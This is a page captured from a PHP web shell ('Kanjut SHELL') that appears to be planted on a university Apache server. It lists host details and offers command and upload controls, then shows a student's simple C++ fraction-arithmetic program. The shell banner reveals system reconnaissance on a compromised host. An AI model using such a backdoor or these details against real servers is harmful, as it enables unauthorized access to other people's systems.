Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.149.253.73
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/kebuck/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/kebuck/fraction1.cpp
//	1/2 + 3/4 = ?
//	input a, b from keyboard

#include <iostream>
using namespace std;

class Fraction
{	int nume;
	int deno;
public:
	// 0/1 is our default
	Fraction()
	{	nume = 0;
		deno = 1;
	}
	Fraction(int n, int d)
	{	nume = n;
		deno = d;
	}
	// function members
	void Set(int n, int d)
        {       nume = n;
                deno = d;
        }
	void Print() const
	{	cout << nume << "/" << deno; }
	Fraction Addition(Fraction x) 
	{	Fraction ans;		// temporary object
		
		ans.nume = nume * x.deno + deno * x.nume;
		ans.deno = deno * x.deno;

		return ans;
	}
	Fraction Subtraction(Fraction x)
	{	Fraction ans;

		ans.nume = nume * x.deno - deno * x.nume;
		ans.deno = deno * x.deno;

		return ans;
	}
	Fraction Multiplication(Fraction x)
	{	Fraction ans;

		ans.nume = nume * x.nume;
		ans.deno = deno * x.deno;

		return ans;
	}
	Fraction Division(Fraction x)
	{	Fraction ans;

		ans.nume = nume * x.deno;
		ans.deno = deno * x.nume;

		return ans;
	}
};

int main()
{
	Fraction a, b, c;		// c= a + b
	Fraction d, e, f;		// d = a - b; e = a * b

	a.Set(1, 2);
	b.Set(3, 4);

	c = a.Addition(b);
	c.Print();
	cout << "\n\n";

	d = a.Subtraction(b);
	d.Print();
	cout << "\n\n";

	e = a.Multiplication(b);
	e.Print();
	cout << "\n\n";


	f = a.Division(b);
	f.Print();

	cout << "\n\n Hi.\n\n.";
	return 0;
}

Stv3n404 - 2023